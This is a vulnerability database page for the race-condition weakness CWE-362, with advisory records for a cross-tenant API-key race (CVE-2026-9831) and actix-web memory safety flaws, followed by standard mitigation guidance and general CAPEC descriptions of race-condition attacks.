CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-9831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-29T22:16:23Z",
    "severity": "MODERATE"
  },
  "details": "A race condition in the shared Extreme Platform\nONE IAM Gateway API-key authentication path could, under specific\nhigh-concurrency traffic conditions, intermittently allow requests\nauthenticated with an Extreme Platform ONE /IAM-issued API key to receive\nresponse data for another tenant. The issue was observed through ExtremeCloud\nIQ/XIQ API endpoints and validated against both XIQ/XAPI and Extreme Platform ONE\n/Common Services API paths. XIQ-native tokens and standard OAuth/Bearer JWT\nauthentication were not affected.",
  "id": "GHSA-w637-mwv9-mchj",
  "modified": "2026-05-30T00:30:31Z",
  "published": "2026-05-30T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9831"
    },
    {
      "type": "WEB",
      "url": "https://community.extremenetworks.com/t5/security-advisories-formerly/sa-2026-048-extremecloud-iq-cross-tenant-data-exposure-via/ba-p/121851"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W65J-G6C7-G3M4

Vulnerability from github – Published: 2021-08-25 20:42 – Updated: 2026-06-09 10:46
VLAI
Summary
Multiple memory safety issues in actix-web
Details

Affected versions contain multiple memory safety issues, such as:

  • Unsoundly coercing immutable references to mutable references
  • Unsoundly extending lifetimes of strings
  • Adding the Send marker trait to objects that cannot be safely sent between threads

This may result in a variety of memory corruption scenarios, most likely use-after-free.

A signficant refactoring effort has been conducted to resolve these issues.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "actix-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-24T19:13:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions contain multiple memory safety issues, such as:\n\n - Unsoundly coercing immutable references to mutable references\n - Unsoundly extending lifetimes of strings\n - Adding the `Send` marker trait to objects that cannot be safely sent between threads\n\nThis may result in a variety of memory corruption scenarios, most likely use-after-free.\n \nA signficant refactoring effort has been conducted to resolve these issues.",
  "id": "GHSA-w65j-g6c7-g3m4",
  "modified": "2026-06-09T10:46:24Z",
  "published": "2021-08-25T20:42:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/actix/actix-web/issues/289"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/actix/actix-web"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2018-0019.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Multiple memory safety issues in actix-web"
}
Mitigation
Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Mitigation
Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Mitigation
Architecture and Design
  • Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
  • Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Mitigation
Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Mitigation
Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Mitigation
Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Mitigation
Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Mitigation
Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

CAPEC-26: Leveraging Race Conditions

The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.

CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.

← Back to the CWE list